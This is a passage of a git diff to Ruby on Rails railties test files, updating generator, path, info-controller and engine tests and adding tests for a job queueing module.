@@ -91,21 +91,6 @@ module SharedGeneratorTests
     assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
   end
 
-  def test_template_raises_an_error_with_invalid_path
-    content = capture(:stderr){ run_generator([destination_root, "-m", "non/existant/path"]) }
-    assert_match(/The template \[.*\] could not be loaded/, content)
-    assert_match(/non\/existant\/path/, content)
-  end
-
-  def test_template_is_executed_when_supplied
-    path = "http://gist.github.com/103208.txt"
-    template = %{ say "It works!" }
-    template.instance_eval "def read; self; end" # Make the string respond to read
-
-    generator([destination_root], :template => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
-    assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
-  end
-
   def test_template_is_executed_when_supplied_an_https_path
     path = "https://gist.github.com/103208.txt"
     template = %{ say "It works!" }
@@ -119,13 +104,13 @@ module SharedGeneratorTests
     generator([destination_root], :dev => true).expects(:bundle_command).with('install').once
     quietly { generator.invoke_all }
     rails_path = File.expand_path('../../..', Rails.root)
-    assert_file 'Gemfile', /^gem\s+["']rails["'],\s+:path\s+=>\s+["']#{Regexp.escape(rails_path)}["']$/
+    assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
   end
 
   def test_edge_option
     generator([destination_root], :edge => true).expects(:bundle_command).with('install').once
     quietly { generator.invoke_all }
-    assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+:git\s+=>\s+["']#{Regexp.escape("git://github.com/rails/rails.git")}["']$}
+    assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
   end
 
   def test_skip_gemfile
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
new file mode 100644
index 0000000000..f810a21d1e
--- /dev/null
+++ b/railties/test/generators/task_generator_test.rb
@@ -0,0 +1,12 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/task/task_generator'
+
+class TaskGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(feeds foo bar)
+
+  def test_controller_skeleton_is_created
+    run_generator
+    assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+  end
+end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 5f9ee220dc..027d8eb9b7 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -1,7 +1,6 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/model/model_generator'
 require 'rails/generators/test_unit/model/model_generator'
-require 'mocha'
 
 class GeneratorsTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
@@ -168,7 +167,7 @@ class GeneratorsTest < Rails::Generators::TestCase
   def test_developer_options_are_overwriten_by_user_options
     Rails::Generators.options[:with_options] = { :generate => false }
 
-    self.class.class_eval <<-end_eval
+    self.class.class_eval(<<-end_eval, __FILE__, __LINE__ + 1)
       class WithOptionsGenerator < Rails::Generators::Base
         class_option :generate, :default => true
       end
@@ -186,7 +185,7 @@ class GeneratorsTest < Rails::Generators::TestCase
     mkdir_p(File.dirname(template))
     File.open(template, 'w'){ |f| f.write "empty" }
 
-    output = capture(:stdout) do
+    capture(:stdout) do
       Rails::Generators.invoke :model, ["user"], :destination_root => destination_root
     end
 
@@ -201,10 +200,16 @@ class GeneratorsTest < Rails::Generators::TestCase
     mspec = Rails::Generators.find_by_namespace :fixjour
     assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour"))
   end
-  
+
   def test_usage_with_embedded_ruby
     require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__))
     output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] }
-    assert_match /:: 2 ::/, output
+    assert_match(/:: 2 ::/, output)
+  end
+
+  def test_hide_namespace
+    assert !Rails::Generators.hidden_namespaces.include?("special:namespace")
+    Rails::Generators.hide_namespace("special:namespace")
+    assert Rails::Generators.hidden_namespaces.include?("special:namespace")
   end
 end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 06b658e7bd..37839a1c54 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -8,26 +8,27 @@
 # Rails booted up.
 require 'fileutils'
 
-require 'test/unit'
-require 'rubygems'
+require 'bundler/setup'
+require 'minitest/autorun'
+require 'active_support/test_case'
 
-# TODO: Remove setting this magic constant
 RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
 
 # These files do not require any others and are needed
 # to run the tests
-require "#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/testing/isolation"
-require "#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/testing/declarative"
-require "#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/core_ext/kernel/reporting"
+require "active_support/testing/isolation"
+require "active_support/core_ext/kernel/reporting"
+require 'tmpdir'
 
 module TestHelpers
   module Paths
-    module_function
-
-    TMP_PATH = File.expand_path(File.join(File.dirname(__FILE__), *%w[.. .. tmp]))
+    def app_template_path
+      File.join Dir.tmpdir, 'app_template'
+    end
 
     def tmp_path(*args)
-      File.join(TMP_PATH, *args)
+      @tmp_path ||= File.realpath(Dir.mktmpdir)
+      File.join(@tmp_path, *args)
     end
 
     def app_path(*args)
@@ -95,7 +96,7 @@ module TestHelpers
       ENV['RAILS_ENV'] = 'development'
 
       FileUtils.rm_rf(app_path)
-      FileUtils.cp_r(tmp_path('app_template'), app_path)
+      FileUtils.cp_r(app_template_path, app_path)
 
       # Delete the initializers unless requested
       unless options[:initializers]
@@ -111,11 +112,17 @@ module TestHelpers
       routes = File.read("#{app_path}/config/routes.rb")
       if routes =~ /(\n\s*end\s*)\Z/
         File.open("#{app_path}/config/routes.rb", 'w') do |f|
-          f.puts $` + "\nmatch ':controller(/:action(/:id))(.:format)'\n" + $1
+          f.puts $` + "\nmatch ':controller(/:action(/:id))(.:format)', :via => :all\n" + $1
         end
       end
 
-      add_to_config 'config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"; config.session_store :cookie_store, :key => "_myapp_session"; config.active_support.deprecation = :log'
+      add_to_config <<-RUBY
+        config.eager_load = false
+        config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        config.session_store :cookie_store, :key => "_myapp_session"
+        config.active_support.deprecation = :log
+        config.action_controller.allow_forgery_protection = false
+      RUBY
     end
 
     def teardown_app
@@ -129,6 +136,7 @@ module TestHelpers
       require "action_controller/railtie"
 
       app = Class.new(Rails::Application)
+      app.config.eager_load = false
       app.config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
       app.config.session_store :cookie_store, :key => "_myapp_session"
       app.config.active_support.deprecation = :log
@@ -137,7 +145,7 @@ module TestHelpers
       app.initialize!
 
       app.routes.draw do
-        match "/" => "omg#index"
+        get "/" => "omg#index"
       end
 
       require 'rack/test'
@@ -155,7 +163,7 @@ module TestHelpers
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match ':controller(/:action)'
+          get ':controller(/:action)'
         end
       RUBY
     end
@@ -178,20 +186,6 @@ module TestHelpers
       end
     end
 
-    def plugin(name, string = "")
-      dir = "#{app_path}/vendor/plugins/#{name}"
-      FileUtils.mkdir_p(dir)
-
-      File.open("#{dir}/init.rb", 'w') do |f|
-        f.puts "::#{name.upcase} = 'loaded'"
-        f.puts string
-      end
-
-      Bukkit.new(dir).tap do |bukkit|
-        yield bukkit if block_given?
-      end
-    end
-
     def engine(name)
       dir = "#{app_path}/random/#{name}"
       FileUtils.mkdir_p(dir)
@@ -257,10 +251,10 @@ module TestHelpers
 
     def use_frameworks(arr)
       to_remove =  [:actionmailer,
-                    :activemodel,
-                    :activerecord,
-                    :activeresource] - arr
-      remove_from_config "config.active_record.identity_map = true" if to_remove.include? :activerecord
+                    :activerecord] - arr
+      if to_remove.include? :activerecord
+        remove_from_config "config.active_record.whitelist_attributes = true"
+      end
       $:.reject! {|path| path =~ %r'/(#{to_remove.join('|')})/' }
     end
 
@@ -270,34 +264,27 @@ module TestHelpers
   end
 end
 
-class Test::Unit::TestCase
+class ActiveSupport::TestCase
   include TestHelpers::Paths
   include TestHelpers::Rack
   include TestHelpers::Generation
-  extend  ActiveSupport::Testing::Declarative
 end
 
 # Create a scope and build a fixture rails app
 Module.new do
   extend TestHelpers::Paths
+
   # Build a rails app
-  if File.exist?(tmp_path)
-    FileUtils.rm_rf(tmp_path)
-  end
-  FileUtils.mkdir(tmp_path)
+  FileUtils.rm_rf(app_template_path)
+  FileUtils.mkdir(app_template_path)
 
   environment = File.expand_path('../../../../load_paths', __FILE__)
-  if File.exist?("#{environment}.rb")
-    require_environment = "-r #{environment}"
-  end
+  require_environment = "-r #{environment}"
 
-  `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{tmp_path('app_template')}`
-  File.open("#{tmp_path}/app_template/config/boot.rb", 'w') do |f|
-    if require_environment
-      f.puts "Dir.chdir('#{File.dirname(environment)}') do"
-      f.puts "  require '#{environment}'"
-      f.puts "end"
-    end
+  `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path}`
+
+  File.open("#{app_template_path}/config/boot.rb", 'w') do |f|
+    f.puts "require '#{environment}'"
     f.puts "require 'rails/all'"
   end
 end unless defined?(RAILS_ISOLATED_ENGINE)
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index c0f3887263..76ff3ec3e4 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -22,7 +22,7 @@ class PathsTest < ActiveSupport::TestCase
     root = Rails::Paths::Root.new(nil)
     root.add "app"
     root.path = "/root"
-    assert_equal ["app"], root["app"]
+    assert_equal ["app"], root["app"].to_ary
     assert_equal ["/root/app"], root["app"].to_a
   end
 
@@ -91,10 +91,6 @@ class PathsTest < ActiveSupport::TestCase
     assert_equal ["/foo/bar/app2", "/foo/bar/app"], @root["app"].to_a
   end
 
-  test "the root can only have one physical path" do
-    assert_raise(RuntimeError) { Rails::Paths::Root.new(["/fiz", "/biz"]) }
-  end
-
   test "it is possible to add a path that should be autoloaded only once" do
     @root.add "app", :with => "/app"
     @root["app"].autoload_once!
@@ -202,6 +198,13 @@ class PathsTest < ActiveSupport::TestCase
     assert_equal "*.rb", @root["app"].glob
   end
 
+  test "it should be possible to replace a path and persist the original paths glob" do
+    @root.add "app", :glob => "*.rb"
+    @root["app"] = "app2"
+    assert_equal ["/foo/bar/app2"], @root["app"].to_a
+    assert_equal "*.rb", @root["app"].glob
+  end
+
   test "a path can be added to the load path" do
     @root["app"] = "app"
     @root["app"].load_path!
diff --git a/railties/test/queueing/container_test.rb b/railties/test/queueing/container_test.rb
new file mode 100644
index 0000000000..69e59a3871
--- /dev/null
+++ b/railties/test/queueing/container_test.rb
@@ -0,0 +1,30 @@
+require 'abstract_unit'
+require 'rails/queueing'
+
+module Rails
+  module Queueing
+    class ContainerTest < ActiveSupport::TestCase
+      def test_delegates_to_default
+        q         = Queue.new
+        container = Container.new q
+        job       = Object.new
+
+        container.push job
+        assert_equal job, q.pop
+      end
+
+      def test_access_default
+        q         = Queue.new
+        container = Container.new q
+        assert_equal q, container[:default]
+      end
+
+      def test_assign_queue
+        container = Container.new Object.new
+        q         = Object.new
+        container[:foo] = q
+        assert_equal q, container[:foo]
+      end
+    end
+  end
+end
diff --git a/railties/test/queueing/test_queue_test.rb b/railties/test/queueing/test_queue_test.rb
new file mode 100644
index 0000000000..2f0f507adb
--- /dev/null
+++ b/railties/test/queueing/test_queue_test.rb
@@ -0,0 +1,102 @@
+require 'abstract_unit'
+require 'rails/queueing'
+
+class TestQueueTest < ActiveSupport::TestCase
+  def setup
+    @queue = Rails::Queueing::TestQueue.new
+  end
+
+  class ExceptionRaisingJob
+    def run
+      raise
+    end
+  end
+
+  def test_drain_raises
+    @queue.push ExceptionRaisingJob.new
+    assert_raises(RuntimeError) { @queue.drain }
+  end
+
+  def test_jobs
+    @queue.push 1
+    @queue.push 2
+    assert_equal [1,2], @queue.jobs
+  end
+
+  class EquivalentJob
+    def initialize
+      @initial_id = self.object_id
+    end
+
+    def run
+    end
+
+    def ==(other)
+      other.same_initial_id?(@initial_id)
+    end
+
+    def same_initial_id?(other_id)
+      other_id == @initial_id
+    end
+  end
+
+  def test_contents
+    assert @queue.empty?
+    job = EquivalentJob.new
+    @queue.push job
+    refute @queue.empty?
+    assert_equal job, @queue.pop
+  end
+
+  class ProcessingJob
+    def self.clear_processed
+      @processed = []
+    end
+
+    def self.processed
+      @processed
+    end
+
+    def initialize(object)
+      @object = object
+    end
+
+    def run
+      self.class.processed << @object
+    end
+  end
+
+  def test_order
+    ProcessingJob.clear_processed
+    job1 = ProcessingJob.new(1)
+    job2 = ProcessingJob.new(2)
+
+    @queue.push job1
+    @queue.push job2
+    @queue.drain
+
+    assert_equal [1,2], ProcessingJob.processed
+  end
+
+  class ThreadTrackingJob
+    attr_reader :thread_id
+
+    def run
+      @thread_id = Thread.current.object_id
+    end
+
+    def ran?
+      @thread_id
+    end
+  end
+
+  def test_drain
+    @queue.push ThreadTrackingJob.new
+    job = @queue.jobs.last
+    @queue.drain
+
+    assert @queue.empty?
+    assert job.ran?, "The job runs synchronously when the queue is drained"
+    assert_not_equal job.thread_id, Thread.current.object_id
+  end
+end
diff --git a/railties/test/queueing/threaded_consumer_test.rb b/railties/test/queueing/threaded_consumer_test.rb
new file mode 100644
index 0000000000..c34a966d6e
--- /dev/null
+++ b/railties/test/queueing/threaded_consumer_test.rb
@@ -0,0 +1,100 @@
+require 'abstract_unit'
+require 'rails/queueing'
+
+class TestThreadConsumer < ActiveSupport::TestCase
+  class Job
+    attr_reader :id
+    def initialize(id, &block)
+      @id = id
+      @block = block
+    end
+
+    def run
+      @block.call if @block
+    end
+  end
+
+  def setup
+    @queue = Rails::Queueing::Queue.new
+    @consumer = Rails::Queueing::ThreadedConsumer.start(@queue)
+  end
+
+  def teardown
+    @queue.push nil
+  end
+
+  test "the jobs are executed" do
+    ran = false
+
+    job = Job.new(1) do
+      ran = true
+    end
+
+    @queue.push job
+    sleep 0.1
+    assert_equal true, ran
+  end
+
+  test "the jobs are not executed synchronously" do
+    ran = false
+
+    job = Job.new(1) do
+      sleep 0.1
+      ran = true
+    end
+
+    @queue.push job
+    assert_equal false, ran
+  end
+
+  test "shutting down the queue synchronously drains the jobs" do
+    ran = false
+
+    job = Job.new(1) do
+      sleep 0.1
+      ran = true
+    end
+
+    @queue.push job
+    assert_equal false, ran
+
+    @consumer.shutdown
+
+    assert_equal true, ran
+  end
+
+  test "log job that raises an exception" do
+    require "active_support/log_subscriber/test_helper"
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    Rails.logger = logger
+
+    job = Job.new(1) do
+      raise "RuntimeError: Error!"
+    end
+
+    @queue.push job
+    sleep 0.1
+
+    assert_equal 1, logger.logged(:error).size
+    assert_match(/Job Error: RuntimeError: Error!/, logger.logged(:error).last)
+  end
+
+  test "test overriding exception handling" do
+    @consumer.shutdown
+    @consumer = Class.new(Rails::Queueing::ThreadedConsumer) do
+      attr_reader :last_error
+      def handle_exception(e)
+        @last_error = e.message
+      end
+    end.start(@queue)
+
+    job = Job.new(1) do
+      raise "RuntimeError: Error!"
+    end
+
+    @queue.push job
+    sleep 0.1
+
+    assert_equal "RuntimeError: Error!", @consumer.last_error
+  end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index 8a9363fb80..cfb32b7d35 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -11,30 +11,29 @@ class InfoControllerTest < ActionController::TestCase
 
   def setup
     Rails.application.routes.draw do
-      match '/rails/info/properties' => "rails/info#properties"
+      get '/rails/info/properties' => "rails/info#properties"
+      get '/rails/info/routes'     => "rails/info#routes"
     end
-    @request.stubs(:local? => true)
-    @controller.stubs(:consider_all_requests_local? => false)
+    @controller.stubs(:local_request? => true)
     @routes = Rails.application.routes
 
     Rails::InfoController.send(:include, @routes.url_helpers)
   end
 
   test "info controller does not allow remote requests" do
-    @request.stubs(:local? => false)
+    @controller.stubs(:local_request? => false)
     get :properties
     assert_response :forbidden
   end
 
   test "info controller renders an error message when request was forbidden" do
-    @request.stubs(:local? => false)
+    @controller.stubs(:local_request? => false)
     get :properties
     assert_select 'p'
   end
 
   test "info controller allows requests when all requests are considered local" do
-    @request.stubs(:local? => false)
-    @controller.stubs(:consider_all_requests_local? => true)
+    @controller.stubs(:local_request? => true)
     get :properties
     assert_response :success
   end
@@ -48,4 +47,10 @@ class InfoControllerTest < ActionController::TestCase
     get :properties
     assert_select 'table'
   end
+
+  test "info controller renders with routes" do
+    get :routes
+    assert_select 'pre'
+  end
+
 end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index 1da66062aa..b9fb071d23 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -43,7 +43,7 @@ class InfoTest < ActiveSupport::TestCase
 
   def test_frameworks_exist
     Rails::Info.frameworks.each do |framework|
-      dir = File.dirname(__FILE__) + "/../../" + framework.gsub('_', '')
+      dir = File.dirname(__FILE__) + "/../../" + framework.delete('_')
       assert File.directory?(dir), "#{framework.classify} does not exist"
     end
   end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index 22dbcf9644..e52b3efdab 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -1,13 +1,11 @@
 require "isolation/abstract_unit"
-require "railties/shared_tests"
 require "stringio"
 require "rack/test"
 
 module RailtiesTest
-  class EngineTest < Test::Unit::TestCase
+  class EngineTest < ActiveSupport::TestCase
 
     include ActiveSupport::Testing::Isolation
-    include SharedTests
     include Rack::Test::Methods
 
     def setup
@@ -29,6 +27,395 @@ module RailtiesTest
       teardown_app
     end
 
+    def boot_rails
+      super
+      require "#{app_path}/config/environment"
+    end
+
+    test "serving sprocket's assets" do
+      @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+
+      boot_rails
+      require 'rack/test'
+      extend Rack::Test::Methods
+
+      get "/assets/engine.js"
+      assert_match "alert()", last_response.body
+    end
+
+    test "rake environment can be called in the engine" do
+      boot_rails
+
+      @plugin.write "Rakefile", <<-RUBY
+        APP_RAKEFILE = '#{app_path}/Rakefile'
+        load 'rails/tasks/engine.rake'
+        task :foo => :environment do
+          puts "Task ran"
+        end
+      RUBY
+
+      Dir.chdir(@plugin.path) do
+        output = `bundle exec rake foo`
+        assert_match "Task ran", output
+      end
+    end
+
+    test "copying migrations" do
+      @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration
+        end
+      RUBY
+
+      @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
+        class AddLastNameToUsers < ActiveRecord::Migration
+        end
+      RUBY
+
+      @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
+        class CreateSessions < ActiveRecord::Migration
+        end
+      RUBY
+
+      app_file "db/migrate/1_create_sessions.rb", <<-RUBY
+        class CreateSessions < ActiveRecord::Migration
+          def up
+          end
+        end
+      RUBY
+
+      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output = `bundle exec rake bukkits:install:migrations`
+
+        assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+        assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+        assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
+        assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
+        assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
+        assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
+
+        output = `bundle exec rake railties:install:migrations`.split("\n")
+
+        assert_no_match(/2_create_users/, output.join("\n"))
+
+        bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
+        assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
+
+        migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
+        output = `bundle exec rake railties:install:migrations`
+
+        assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
+      end
+    end
+
+    test "mountable engine should copy migrations within engine_path" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      @plugin.write "db/migrate/0_add_first_name_to_users.rb", <<-RUBY
+        class AddFirstNameToUsers < ActiveRecord::Migration
+        end
+      RUBY
+
+      @plugin.write "Rakefile", <<-RUBY
+        APP_RAKEFILE = '#{app_path}/Rakefile'
+        load 'rails/tasks/engine.rake'
+      RUBY
+
+      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+      boot_rails
+
+      Dir.chdir(@plugin.path) do
+        output = `bundle exec rake app:bukkits:install:migrations`
+        assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+        assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
+        assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
+      end
+    end
+
+    test "no rake task without migrations" do
+      boot_rails
+      require 'rake'
+      require 'rdoc/task'
+      require 'rake/testtask'
+      Rails.application.load_tasks
+      assert !Rake::Task.task_defined?('bukkits:install:migrations')
+    end
+
+    test "puts its lib directory on load path" do
+      boot_rails
+      require "another"
+      assert_equal "Another", Another.name
+    end
+
+    test "puts its models directory on autoload path" do
+      @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
+      boot_rails
+      assert_nothing_raised { MyBukkit }
+    end
+
+    test "puts its controllers directory on autoload path" do
+      @plugin.write "app/controllers/bukkit_controller.rb", "class BukkitController ; end"
+      boot_rails
+      assert_nothing_raised { BukkitController }
+    end
+
+    test "adds its views to view paths" do
+      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+        class BukkitController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+
+      boot_rails
+
+      require "action_controller"
+      require "rack/mock"
+      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal "Hello bukkits\n", response[2].body
+    end
+
+    test "adds its views to view paths with lower proriority than app ones" do
+      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+        class BukkitController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+      app_file "app/views/bukkit/index.html.erb", "Hi bukkits"
+
+      boot_rails
+
+      require "action_controller"
+      require "rack/mock"
+      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal "Hi bukkits\n", response[2].body
+    end
+
+    test "adds helpers to controller views" do
+      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+        class BukkitController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      @plugin.write "app/helpers/bukkit_helper.rb", <<-RUBY
+        module BukkitHelper
+          def bukkits
+            "bukkits"
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit/index.html.erb", "Hello <%= bukkits %>"
+
+      boot_rails
+
+      require "rack/mock"
+      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal "Hello bukkits\n", response[2].body
+    end
+
+    test "autoload any path under app" do
+      @plugin.write "app/anything/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+      boot_rails
+      assert Foo
+    end
+
+    test "routes are added to router" do
+      @plugin.write "config/routes.rb", <<-RUBY
+        class Sprokkit
+          def self.call(env)
+            [200, {'Content-Type' => 'text/html'}, ["I am a Sprokkit"]]
+          end
+        end
+
+        Rails.application.routes.draw do
+          get "/sprokkit", :to => Sprokkit
+        end
+      RUBY
+
+      boot_rails
+      require 'rack/test'
+      extend Rack::Test::Methods
+
+      get "/sprokkit"
+      assert_equal "I am a Sprokkit", last_response.body
+    end
+
+    test "routes in engines have lower priority than application ones" do
+      controller "foo", <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            render :text => "foo"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        AppTemplate::Application.routes.draw do
+          get 'foo', :to => 'foo#index'
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bar_controller.rb", <<-RUBY
+        class BarController < ActionController::Base
+          def index
+            render :text => "bar"
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', :to => 'bar#index'
+          get 'bar', :to => 'bar#index'
+        end
+      RUBY
+
+      boot_rails
+      require 'rack/test'
+      extend Rack::Test::Methods
+
+      get '/foo'
+      assert_equal 'foo', last_response.body
+
+      get '/bar'
+      assert_equal 'bar', last_response.body
+    end
+
+    test "rake tasks lib tasks are loaded" do
+      $executed = false
+      @plugin.write "lib/tasks/foo.rake", <<-RUBY
+        task :foo do
+          $executed = true
+        end
+      RUBY
+
+      boot_rails
+      require 'rake'
+      require 'rdoc/task'
+      require 'rake/testtask'
+      Rails.application.load_tasks
+      Rake::Task[:foo].invoke
+      assert $executed
+    end
+
+    test "i18n files have lower priority than application ones" do
+      add_to_config <<-RUBY
+        config.i18n.load_path << "#{app_path}/app/locales/en.yml"
+      RUBY
+
+      app_file 'app/locales/en.yml', <<-YAML
+en:
+  bar: "1"
+YAML
+
+      app_file 'config/locales/en.yml', <<-YAML
+en:
+  foo: "2"
+  bar: "2"
+YAML
+
+      @plugin.write 'config/locales/en.yml', <<-YAML
+en:
+  foo: "3"
+YAML
+
+      boot_rails
+
+      expected_locales = %W(
+        #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
+        #{@plugin.path}/config/locales/en.yml
+        #{app_path}/config/locales/en.yml
+        #{app_path}/app/locales/en.yml
+      ).map { |path| File.expand_path(path) }
+
+      actual_locales = I18n.load_path.map { |path|
+        File.expand_path(path)
+      } & expected_locales # remove locales external to Rails
+
+      assert_equal expected_locales, actual_locales
+
+      assert_equal "2", I18n.t(:foo)
+      assert_equal "1", I18n.t(:bar)
+    end
+
+    test "namespaced controllers with namespaced routes" do
+      @plugin.write "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          namespace :admin do
+            namespace :foo do
+              get "bar", :to => "bar#index"
+            end
+          end
+        end
+      RUBY
+
+      @plugin.write "app/controllers/admin/foo/bar_controller.rb", <<-RUBY
+        class Admin::Foo::BarController < ApplicationController
+          def index
+            render :text => "Rendered from namespace"
+          end
+        end
+      RUBY
+
+      boot_rails
+      require 'rack/test'
+      extend Rack::Test::Methods
+
+      get "/admin/foo/bar"
+      assert_equal 200, last_response.status
+      assert_equal "Rendered from namespace", last_response.body
+    end
+
+    test "initializers" do
+      $plugin_initializer = false
+      @plugin.write "config/initializers/foo.rb", <<-RUBY
+        $plugin_initializer = true
+      RUBY
+
+      boot_rails
+      assert $plugin_initializer
+    end
+
+    test "midleware referenced in configuration" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        class Bukkits
+          def initialize(app)
+            @app = app
+          end
+
+          def call(env)
+            @app.call(env)
+          end
+        end
+      RUBY
+
+      add_to_config "config.middleware.use \"Bukkits\""
+      boot_rails
+    end
+
     test "Rails::Engine itself does not respond to config" do
       boot_rails
       assert !Rails::Engine.respond_to?(:config)
@@ -60,7 +447,6 @@ module RailtiesTest
       assert index < initializers.index { |i| i.name == :build_middleware_stack }
     end
 
-
     class Upcaser
       def initialize(app)
         @app = app
@@ -135,7 +521,7 @@ module RailtiesTest
 
       @plugin.write "config/routes.rb", <<-RUBY
         Bukkits::Engine.routes.draw do
-          match "/foo" => lambda { |env| [200, {'Content-Type' => 'text/html'}, ['foo']] }
+          get "/foo" => lambda { |env| [200, {'Content-Type' => 'text/html'}, ['foo']] }
         end
       RUBY
 
@@ -151,63 +537,31 @@ module RailtiesTest
       assert_equal "foo", last_response.body
     end
 
-    test "engine can load its own plugins" do
-      @plugin.write "lib/bukkits.rb", <<-RUBY
-        module Bukkits
-          class Engine < ::Rails::Engine
-          end
-        end
-      RUBY
-
-      @plugin.write "vendor/plugins/yaffle/init.rb", <<-RUBY
-        config.yaffle_loaded = true
-      RUBY
-
-      boot_rails
-
-      assert Bukkits::Engine.config.yaffle_loaded
-    end
-
-    test "engine does not load plugins that already exists in application" do
+    test "it loads its environments file" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
           class Engine < ::Rails::Engine
+            config.paths["config/environments"].push "config/environments/additional.rb"
           end
         end
       RUBY
 
-      @plugin.write "vendor/plugins/yaffle/init.rb", <<-RUBY
-        config.engine_yaffle_loaded = true
-      RUBY
-
-      app_file "vendor/plugins/yaffle/init.rb", <<-RUBY
-        config.app_yaffle_loaded = true
-      RUBY
-
-      warnings = capture(:stderr) { boot_rails }
-
-      assert !warnings.empty?
-      assert !Bukkits::Engine.config.respond_to?(:engine_yaffle_loaded)
-      assert Rails.application.config.app_yaffle_loaded
-    end
-
-    test "it loads its environment file" do
-      @plugin.write "lib/bukkits.rb", <<-RUBY
